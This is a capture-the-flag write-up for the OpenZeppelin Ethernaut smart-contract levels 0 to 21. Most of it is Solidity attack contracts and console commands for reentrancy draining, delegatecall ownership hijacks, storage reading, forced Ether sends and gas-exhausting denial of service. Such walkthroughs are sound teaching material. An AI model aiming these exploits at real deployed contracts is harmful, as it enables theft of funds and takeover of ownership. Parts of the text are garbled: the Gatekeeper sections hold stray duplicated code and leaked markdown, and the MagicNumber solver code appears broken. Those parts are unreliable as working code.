OpenZepplin Ethernaut
Writeup for OpenZepplin Ethernaut Challenges
OpenZeppelin Ethernaut Challenges
Prerequisites & Setup
Tools Needed:
- Browser with MetaMask wallet
- Remix IDE (remix.ethereum.org) for deploying attack contracts
- Browser console (F12) for direct contract interaction
- Ethernaut platform (ethernaut.openzeppelin.com)
Basic Workflow:
- Get level instance from Ethernaut
- Analyze the contract code
- Deploy attack contract (if needed) via Remix
- Execute the attack
- Submit instance back to Ethernaut
Console Helpers:
player
- your wallet addresscontract
- the level instanceweb3
- web3.js librarytoWei()
- convert ether to wei
Level 0: Hello Ethernaut
Objective: Get familiar with the Ethernaut platform and basic contract interaction via the browser console.
Solution: Open browser console (F12) and interact directly with the contract. Follow the breadcrumb trail.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// In browser console:
await contract.info();
// "You will find what you need in info1()."
await contract.info1();
// "Try info2(), but with "hello" as a parameter."
await contract.info2("hello");
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum();
// returns 42
await contract.info42();
// "theMethodName is the name of the next method."
await contract.theMethodName();
// "The method name is method7123949."
await contract.method7123949();
// "If you know the password, submit it to authenticate()."
const password = await contract.password();
await contract.authenticate(password);
How to Execute:
- Open Ethernaut level 0
- Get instance
- Open browser console (F12)
- Run commands one by one
- Submit instance
Level 1: Fallback
Objective: Claim ownership of the contract and withdraw all of its funds.
Vulnerability Explained: The contract has a special receive()
function that changes ownership when the contract receives Ether. Anyone can trigger this by sending a transaction with Ether directly to the contract address, but only after meeting the prerequisite of being a contributor (having contributed at least some Ether previously).
Solution: Use browser console to interact with the contract directly.
1
2
3
4
5
6
7
8
9
10
// In browser console:
// 1. Contribute a small amount (less than 0.001 ether)
await contract.contribute({ value: toWei('0.0001', 'ether') });
// 2. Send transaction to trigger receive() function
await contract.sendTransaction({ value: toWei('0.0001', 'ether') });
// 3. Verify ownership and withdraw
await contract.owner(); // Should return your player address
await contract.withdraw();
How to Execute:
- Get Fallback level instance
- Open browser console (F12)
- Run the three commands above in order
- Check contract balance:
await web3.eth.getBalance(contract.address)
- Submit instance
Level 2: Fallout
Objective: Claim ownership of the contract.
Vulnerability Explained: The developer misspelled the constructor as Fal1out
(using a 1
instead of an l
). In older Solidity versions, constructors were named after the contract. This typo makes it a regular public function that anyone can call to become owner.
Solution: Call the misspelled constructor function directly from browser console.
1
2
3
4
5
// In browser console:
await contract.Fal1out();
// Verify you're the owner:
await contract.owner(); // Should return your address
How to Execute:
- Get Fallout level instance
- Open browser console (F12)
- Call
await contract.Fal1out()
- Verify ownership
- Submit instance
Level 3: Coin Flip
Objective: Correctly guess the outcome of a coin flip 10 times in a row.
Vulnerability Explained: The contract uses blockhash(block.number - 1)
for randomness, but blockchain data is deterministic and public. An attacker can predict the outcome by replicating the same logic in their contract within the same transaction.
Solution: Deploy an attack contract that predicts the “random” outcome.
Attack Contract (CoinFlipAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip public target;
constructor(address _targetAddress) {
target = ICoinFlip(_targetAddress);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
How to Deploy & Execute:
- Get CoinFlip level instance
- Copy your instance address
- Open Remix IDE (remix.ethereum.org)
- Create new file
CoinFlipAttack.sol
and paste the code above - Compile the contract (Solidity ^0.8.0)
- Deploy to same network as Ethernaut (Sepolia/Goerli)
- In constructor field, paste your CoinFlip instance address
- Deploy the contract
- Call
attack()
function 10 times (you can do this quickly) - Check progress:
await contract.consecutiveWins()
in browser console - Submit instance when consecutiveWins = 10
Level 4: Telephone
Objective: Claim ownership of the Telephone
contract.
Vulnerability Explained: The changeOwner()
function checks require(tx.origin != msg.sender)
. When you call a function directly, both values are your address. But when a contract calls the function on your behalf, msg.sender
is the contract address while tx.origin
remains your wallet address.
Solution: Deploy a contract to call changeOwner()
on your behalf.
Attack Contract (TelephoneAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
ITelephone public target;
constructor(address _targetAddress) {
target = ITelephone(_targetAddress);
}
function attack() public {
target.changeOwner(tx.origin);
}
}
How to Deploy & Execute:
- Get Telephone level instance
- Open Remix IDE
- Create
TelephoneAttack.sol
with code above - Compile and deploy with your Telephone instance address
- Call
attack()
function - Verify:
await contract.owner()
in console (should be your address) - Submit instance
Level 5: Token
Objective: Acquire a large number of tokens (you start with 20).
Vulnerability Explained: This contract uses Solidity ^0.6.0 without SafeMath. The transfer
function subtracts the transfer amount from your balance without checking for underflow. If you try to transfer more tokens than you have, your balance will underflow to a massive number.
Solution: Cause integer underflow by transferring more tokens than you own.
1
2
3
4
5
6
7
8
9
// In browser console:
// Check initial balance
await contract.balanceOf(player); // Should be 20
// Transfer 21 tokens when you only have 20 - causes underflow
await contract.transfer('0x0000000000000000000000000000000000000001', 21);
// Check new balance - should be huge number
(await contract.balanceOf(player)).toString();
How to Execute:
- Get Token level instance
- Open browser console
- Run the commands above
- Your balance should now be approximately 2^256 - 1
- Submit instance
Level 6: Delegation
Objective: Claim ownership of the Delegation
contract.
Vulnerability Explained: The Delegation
contract uses delegatecall
to execute code from the Delegate
contract, but in the context of the Delegation
contract’s storage. The Delegate
contract has a pwn()
function that sets the caller as owner. When called via delegatecall
, it modifies the Delegation
contract’s owner variable.
Solution: Send a transaction with the pwn()
function selector to trigger delegatecall.
1
2
3
4
5
6
7
8
9
10
// In browser console:
// Method 1: Calculate function selector manually
const data = web3.utils.keccak256("pwn()").slice(0, 10); // Returns 0xdd365b8b
await contract.sendTransaction({ data: data });
// Method 2: Use the known selector directly
await contract.sendTransaction({ data: '0xdd365b8b' });
// Verify you're the owner
await contract.owner(); // Should return your address
How to Execute:
- Get Delegation level instance
- Open browser console
- Send transaction with pwn() selector as data
- Verify ownership
- Submit instance
Note: The key insight is that sending data ‘0xdd365b8b’ to the Delegation contract triggers its fallback function, which uses delegatecall to execute the pwn() function from the Delegate contract in the Delegation contract’s storage context.
Level 7: Force
Objective: Force the contract to accept Ether (make its balance > 0).
Vulnerability Explained: The Force
contract has no payable functions or receive/fallback functions, so it normally can’t receive Ether. However, selfdestruct
can forcibly send Ether to any address, even contracts that refuse payments.
Solution: Use selfdestruct to force Ether transfer to the contract.
Attack Contract (ForceAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ForceAttack {
function attack(address payable _target) public payable {
selfdestruct(_target);
}
}
How to Deploy & Execute:
Get Force level instance
Open Remix IDE
Create and deploy
ForceAttack.sol
Send some Ether to the deployed attack contract:
1
// In console, get your attack contract address firstconst attackContractAddress = "YOUR_DEPLOYED_ATTACK_CONTRACT_ADDRESS";// Send Ether to your attack contractawait web3.eth.sendTransaction({ from: player, to: attackContractAddress, value: toWei('0.001', 'ether')});
Call
attack()
function with Force instance address as parameterVerify Force contract balance:
await web3.eth.getBalance(contract.address)
Submit instance
Alternative Method (Simpler): Deploy the attack contract with a payable constructor and call attack in one transaction:
contract ForceAttack {
constructor(address payable _target) payable {
selfdestruct(_target);
}
}
Deploy with some Ether value and the Force address as constructor parameter.
Level 8: Vault
Objective: Unlock the vault.
Vulnerability Explained: The password
is marked as private
, but this only prevents other contracts from reading it. All blockchain data is publicly visible. The password is stored in storage slot 1.
Solution: Read the password directly from blockchain storage.
1
2
3
4
5
6
7
8
9
10
// In browser console:
// The password is stored in storage slot 1 (locked is in slot 0)
const password = await web3.eth.getStorageAt(contract.address, 1);
console.log("Password:", password);
// Unlock the vault
await contract.unlock(password);
// Verify it's unlocked
await contract.locked(); // Should return false
How to Execute:
- Get Vault level instance
- Open browser console
- Read storage slot 1 to get password
- Call unlock with the password
- Verify locked status is false
- Submit instance
Understanding Storage:
- Slot 0:
locked
(bool) - Slot 1:
password
(bytes32) - All storage is public on blockchain despite
private
keyword
Level 9: King
Objective: Become king and prevent others from claiming the throne.
Vulnerability Explained: The contract uses transfer()
to refund the previous king. If the previous king is a contract whose receive/fallback function reverts or consumes too much gas, the transfer will fail, causing the entire receive
function to revert and preventing anyone from becoming the new king.
Solution: Deploy a contract that rejects payments to break future king changes.
Attack Contract (KingAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract KingAttack {
function attack(address payable _target) public payable {
// Become king by sending more than the current prize
(bool success, ) = _target.call{value: msg.value}("");
require(success, "Failed to become king");
}
// Reject all incoming payments to break the contract
receive() external payable {
revert("Payment rejected");
}
}
How to Deploy & Execute:
Get King level instance
Check current prize:
await contract.prize()
in consoleOpen Remix IDE and deploy
KingAttack.sol
Call
1
attack()
function with Ether value > current prize:
- In Remix, set value field to more than the prize amount
- Pass your King instance address as
_target
parameter
Verify you’re king:
await contract._king()
should return your attack contract addressTest the DoS: Have someone else try to become king (they should fail)
Submit instance
Key Point: Once your contract is king, anyone trying to claim the throne will fail because your contract’s receive()
function reverts, causing the entire transaction to fail.
Level 10: Re-entrancy
Objective: Steal all the Ether from the contract.
Vulnerability Explained: The withdraw()
function follows the dangerous pattern of: check balance → send Ether → update balance. During the Ether transfer, the recipient’s receive/fallback function can call withdraw()
again before the balance is updated, allowing multiple withdrawals of the same funds.
Solution: Deploy a contract that re-enters the withdraw function to drain all funds.
Attack Contract (ReentrancyAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract ReentrancyAttack {
IReentrance public target;
uint public amount;
constructor(address _target) {
target = IReentrance(_target);
}
function attack() public payable {
require(msg.value > 0, "Send some Ether");
amount = msg.value;
// First, donate to establish a balance
target.donate{value: amount}(address(this));
// Then withdraw to trigger the reentrancy
target.withdraw(amount);
}
receive() external payable {
// Continue withdrawing while the target has funds
if (address(target).balance >= amount) {
target.withdraw(amount);
}
}
function withdrawFunds() public {
payable(msg.sender).transfer(address(this).balance);
}
}
How to Deploy & Execute:
Get Reentrance level instance
Check target balance:
await web3.eth.getBalance(contract.address)
Open Remix IDE and deploy
ReentrancyAttack.sol
with your instance addressCall
1
attack()
function with some Ether (e.g., 0.001 ETH)
- The attack will repeatedly withdraw until the target is drained
Call
withdrawFunds()
to collect the stolen EtherVerify target is empty:
await web3.eth.getBalance(contract.address)
should be 0Submit instance
Attack Flow:
- Donate Ether to establish balance in target contract
- Call withdraw() - target sends Ether back
- receive() function is triggered and calls withdraw() again
- Repeat until target is drained
Level 11: Elevator
Objective: Reach the top floor of the elevator.
Vulnerability Explained: The Elevator
contract calls building.isLastFloor()
twice in the same transaction, assuming it will return the same value both times. An attacker can create a malicious Building
contract that returns different values on each call.
Solution: Create a malicious Building contract that lies about floor status.
Attack Contract (ElevatorAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBuilding {
function isLastFloor(uint) external returns (bool);
}
interface IElevator {
function goTo(uint _floor) external;
}
contract ElevatorAttack is IBuilding {
bool private firstCall = true;
function isLastFloor(uint) public returns (bool) {
if (firstCall) {
firstCall = false;
return false; // First call: not last floor
} else {
return true; // Second call: is last floor
}
}
function attack(address _target) public {
IElevator(_target).goTo(1);
}
}
How to Deploy & Execute:
- Get Elevator level instance
- Open Remix IDE and deploy
ElevatorAttack.sol
- Call
attack()
function with your Elevator instance address - Verify success:
await contract.top()
should returntrue
- Submit instance
How it Works:
- First call to
isLastFloor()
returnsfalse
(passes the if condition) - Second call to
isLastFloor()
returnstrue
(sets top = true) - The contract lies by returning different values for the same floor
Level 12: Privacy
Objective: Unlock the contract.
Vulnerability Explained: Similar to Vault, but with storage packing complexity. Variables are packed into 32-byte slots. The key is data[2]
, which is a bytes32
stored in slot 5, but the unlock function expects bytes16
.
Storage layout:
- Slot 0:
locked
(bool) - Slot 1:
ID
(uint256) - Slot 2:
flattening
(uint8),denomination
(uint8),awkwardness
(uint16) - packed - Slot 3:
data[0]
(bytes32) - Slot 4:
data[1]
(bytes32) - Slot 5:
data[2]
(bytes32)
Solution: Read the key from storage and convert to the required format.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// In browser console:
// Storage layout analysis:
// Slot 0: locked (bool)
// Slot 1: ID (uint256)
// Slot 2: flattening (uint8), denomination (uint8), awkwardness (uint16) - packed
// Slot 3: data[0] (bytes32)
// Slot 4: data[1] (bytes32)
// Slot 5: data[2] (bytes32) <- This is our key
// Read bytes32 from storage slot 5
const key32 = await web3.eth.getStorageAt(contract.address, 5);
console.log("Full key (bytes32):", key32);
// Convert to bytes16 by taking first 16 bytes (32 hex chars + '0x' = 34 total)
const key16 = key32.slice(0, 34);
console.log("Key (bytes16):", key16);
// Unlock the contract
await contract.unlock(key16);
// Verify it's unlocked
await contract.locked(); // Should return false
How to Execute:
- Get Privacy level instance
- Open browser console
- Read storage slot 5 to get data[2]
- Convert bytes32 to bytes16 by truncating
- Call unlock with the key
- Submit instance
Key Insight: Private variables are not secret - they’re just inaccessible to other contracts. All blockchain storage is publicly readable.
Level 13: Gatekeeper One
Objective: Register as an entrant by passing three gates.
Gates:
msg.sender != tx.origin
(must use a contract)gasleft() % 8191 == 0
(specific gas requirement)- Complex key construction with type casting requirements
Solution: Deploy a contract that solves all three gate requirements.
Attack Contract (GatekeeperOneAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperOneAttack {
function attack(address _target) public {
// Gate 3: Construct the key with proper bit masking
// We need: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
// And: uint32(uint64(_gateKey)) != uint64(_gateKey)
// And: uint16(uint64(_gateKey)) == uint16(tx.origin)
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
// Gate 2: Brute force the gas amount
// The check is gasleft() % 8191 == 0
for (uint256 i = 0; i < 8191; i++) {
try IGatekeeperOne(_target).enter{gas: 81910 + i}(key) {
break;
} catch {}
}
}
}
How to Deploy & Execute:
Get GatekeeperOne level instance
Open Remix IDE and deploy
GatekeeperOneAttack.sol
Call
1
attack()
function with your GatekeeperOne instance address
- The function will try different gas amounts until it finds one that works
Verify success:
await contract.entrant()
should return your addressSubmit instance
Gate Explanations:
- Gate 1:
msg.sender != tx.origin
- Requires contract call - Gate 2:
gasleft() % 8191 == 0
- Specific gas requirement (brute force) - Gate 3: Complex key construction with bit masking to satisfy type casting requirements
Key Construction: The mask 0xFFFFFFFF0000FFFF
ensures:
- Lower 16 bits match
tx.origin
- Upper 32 bits of uint32 are different from uint64
- Satisfies all three conditions in gate three for (uint256 i = 0; i < 8191; i++) { try IGatekeeperOne(_target).enter{gas: 81910 + i}(key) { break; } catch {} } } }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
## Level 14: Gatekeeper Two
**Objective:** Pass three different gates.
**Gates:**
1. `msg.sender != tx.origin` (must use contract)
2. `extcodesize(caller()) == 0` (code size must be 0 - only true during construction)
3. XOR puzzle: `uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1`
**Solution:** Attack during contract construction when code size is zero.
**Attack Contract (`GatekeeperTwoAttack.sol`):**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperTwoAttack {
constructor(address _target) {
// Gate 3: Solve the XOR equation
// uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
// Since A ^ B = C, then A ^ C = B
uint64 a = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
uint64 c = type(uint64).max; // This is uint64(0) - 1, which equals 2^64 - 1
bytes8 key = bytes8(a ^ c);
// Must call enter() from constructor to pass gate 2 (code size == 0)
IGatekeeperTwo(_target).enter(key);
}
}
How to Deploy & Execute:
- Get GatekeeperTwo level instance
- Open Remix IDE
- Create
GatekeeperTwoAttack.sol
with the code above - Compile the contract
- Deploy with your GatekeeperTwo instance address as constructor parameter
- The entire attack happens during deployment!
- Verify success:
await contract.entrant()
should return your attack contract address - Submit instance
Gate Explanations:
- Gate 1:
msg.sender != tx.origin
- Contract call required - Gate 2:
extcodesize(caller()) == 0
- Code size is only 0 during construction - Gate 3: XOR equation solved using the property A ^ B = C → A ^ C = B
Key Point: The attack must execute entirely within the constructor because that’s the only time when extcodesize()
returns 0.
Level 15: Naught Coin
Objective: Transfer your tokens despite the time lock on transfer()
.
Vulnerability Explained: The contract locks the standard transfer()
function but forgets about the ERC20 approve()
/transferFrom()
mechanism. You can approve yourself to spend your tokens, then use transferFrom()
to move them.
Solution: Use the ERC20 approve/transferFrom mechanism to bypass the transfer lock.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// In browser console:
// Check your current balance
const balance = await contract.balanceOf(player);
console.log("Your balance:", balance.toString());
// Approve yourself to spend your tokens
await contract.approve(player, balance);
// Verify the approval
const allowance = await contract.allowance(player, player);
console.log("Allowance:", allowance.toString());
// Use transferFrom to move tokens (bypasses the transfer() lock)
await contract.transferFrom(player, "0x0000000000000000000000000000000000000001", balance);
// Verify your balance is now 0
const newBalance = await contract.balanceOf(player);
console.log("New balance:", newBalance.toString());
How to Execute:
- Get NaughtCoin level instance
- Open browser console
- Check your initial balance (should be 1,000,000 tokens)
- Approve yourself to spend your tokens
- Use transferFrom to transfer tokens to any address
- Verify your balance is now 0
- Submit instance
Key Insight: The contract only locks the transfer()
function but forgets about approve()/transferFrom()
- both are standard ERC20 mechanisms for moving tokens. You can approve yourself and then transfer from yourself to another address.
Level 16: Preservation
Objective: Claim ownership of the contract.
Vulnerability Explained: The contract uses delegatecall
with user-controlled library addresses. An attacker can replace the library address with their own malicious contract. The storage layout must match for the attack to work correctly.
Solution: Two-step attack to hijack the library and overwrite the owner.
Attack Contract (PreservationAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PreservationAttack {
// Storage layout MUST match the target contract exactly
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint storedTime; // slot 3
function setTime(uint _time) public {
owner = tx.origin; // Overwrite slot 2 (owner) with attacker's address
}
}
How to Deploy & Execute:
- Get Preservation level instance
- Open Remix IDE and deploy
PreservationAttack.sol
- Copy your deployed attack contract address
Step 1: Hijack the library
1
2
3
4
5
6
7
8
9
10
// In browser console:
const attackContractAddress = "YOUR_DEPLOYED_ATTACK_CONTRACT_ADDRESS";
// This overwrites timeZone1Library (slot 0) with our attack contract address
await contract.setFirstTime(attackContractAddress);
// Verify the library was replaced
const newLib = await contract.timeZone1Library();
console.log("New library address:", newLib);
console.log("Should match attack contract:", attackContractAddress);
Step 2: Overwrite the owner
1
2
3
4
5
6
7
8
// Now when we call setFirstTime, it will delegatecall to our attack contract
// The value doesn't matter - our setTime function ignores it and sets owner = tx.origin
await contract.setFirstTime(0);
// Verify you're the owner
const newOwner = await contract.owner();
console.log("New owner:", newOwner);
console.log("Your address:", player);
- Submit instance
How it Works:
- First call replaces the library address with our malicious contract
- Second call executes our malicious
setTime()
function via delegatecall - Our function writes
tx.origin
(your address) to storage slot 2 (owner position)
Level 17: Recovery
Objective: Recover 0.001 ether from a lost contract.
Vulnerability Explained: Contract addresses are deterministically computed using keccak256(rlp([creator_address, nonce]))
. Since we know the creator and this was their first contract creation (nonce = 1), we can compute the address.
Solution: Calculate the lost contract address and call its destroy function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Method 1: Calculate the address
const nonce = 1;
const lostAddress = ethers.utils.getContractAddress({
from: contract.address,
nonce: nonce
});
// Method 2: Or derive it manually
// const lostAddress = "0x" + web3.utils.keccak256(
// web3.eth.abi.encodeParameters(
// ['address', 'uint'],
// [contract.address, nonce]
// )
// ).slice(-40);
// Create contract instance and call destroy
const tokenAbi = ["function destroy(address payable to) public"];
const lostContract = new ethers.Contract(lostAddress, tokenAbi, signer);
await lostContract.destroy(player);
Level 18: MagicNumber
Objective: Create a solver that returns 42, with deployed bytecode ≤ 10 bytes.
Vulnerability Explained: This requires writing raw EVM bytecode since Solidity produces too much overhead. The solution needs initialization code that returns the minimal runtime code.
Solution: Write a contract that deploys the minimal bytecode.
Solver Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MagicNumberSolver {
constructor() {
assembly {
// Runtime code: 602a60005260206000f3 (10 bytes)
// 602a - PUSH1 0x2a (push 42)
// 6000 - PUSH1 0x00 (push 0 - memory location)
// 52 - MSTORE (store 42 at memory position 0)
// 6020 - PUSH1 0x20 (push 32 - return size)
// 6000 - PUSH1 0x00 (push 0 - return position)
// f3 - RETURN
mstore(0x00, 0x602a60005260206000f3000000000000000000000000000000000000000000)
return(0x16, 0x0a) // Return 10 bytes starting at position 0x16
}
}
}
Deploy this contract and submit its address.
Level 19: Alien Codex
Objective: Claim ownership of the contract.
Vulnerability Explained: Array length underflow in retract()
combined with dynamic array storage exploitation. Arrays in storage start at keccak256(slot)
and the owner is in slot 0. By underflowing the array length and calculating the right index, you can overwrite slot 0.
Solution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Step 1: Pass the contact requirement
await contract.make_contact();
// Step 2: Underflow the array length
await contract.retract();
// Step 3: Calculate the index that maps to storage slot 0
// Array starts at keccak256(1), so we need index = 2^256 - keccak256(1)
const slot = web3.utils.soliditySha3({type: 'uint256', value: 1});
const maxUint256 = web3.utils.toBN('2').pow(web3.utils.toBN('256'));
const index = maxUint256.sub(web3.utils.toBN(slot));
// Step 4: Write your address to that index
const paddedAddress = web3.utils.padLeft(player, 64);
await contract.revise(index, paddedAddress);
Level 20: Denial
Objective: Perform a denial of service attack on the withdraw function.
Vulnerability Explained: The withdraw()
function uses call()
without gas limits to send Ether to the partner. A malicious partner contract can consume all available gas, causing the withdrawal to always fail.
Solution: Become the partner with a gas-consuming contract.
Attacker Contract (DenialAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DenialAttack {
receive() external payable {
// Infinite loop to consume all gas
while(true) {}
}
}
// Deploy attacker and set as partner
await contract.setWithdrawPartner(attackerAddress);
Level 21: Shop
Objective: Purchase an item for less than the asking price.
Vulnerability Explained: The buy()
function calls price()
twice - once for validation and once for payment. It assumes both calls return the same value, but an attacker can return different prices based on the shop’s state.
Solution: Create a buyer contract that returns different prices based on shop state.
Attack Contract (ShopAttack.sol
):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function buy() external;
function price() external view returns (uint);
function isSold() external view returns (bool);
}
contract ShopAttack {
IShop public target;
constructor(address _target) {
target = IShop(_target);
}
// This function is called twice by the Shop contract
function price() external view returns (uint) {
// First call: item is not sold yet, return high price to pass validation
// Second call: item is sold, return low price for actual payment
return target.isSold() ? 1 : 101;
}
function attack() public {
target.buy();
}
}
How to Deploy & Execute:
Get Shop level instance
Check initial state:
1
// In browser console:await contract.isSold(); // Should be falseawait contract.price(); // Should be 100
Open Remix IDE and deploy
ShopAttack.sol
with your Shop instance addressCall the
attack()
functionVerify the exploit worked:
1
// Check final stateawait contract.isSold(); // Should be trueawait contract.price(); // Should be 1 (or whatever low price you set)// Most importantly, check you bought it for less than 100console.log("Item purchased successfully for less than 100!");
Submit instance
How it Works:
- Shop calls
price()
first time → returns 101 (passes the ≥ 100 check) - Shop sets
isSold = true
- Shop calls
price()
second time → returns 1 (low payment amount) - You successfully buy a 100-wei item for only 1 wei
Key Insight: The Shop contract assumes the price won’t change between the validation check and the payment, but our malicious contract exploits this assumption by checking the shop’s state and returning different values.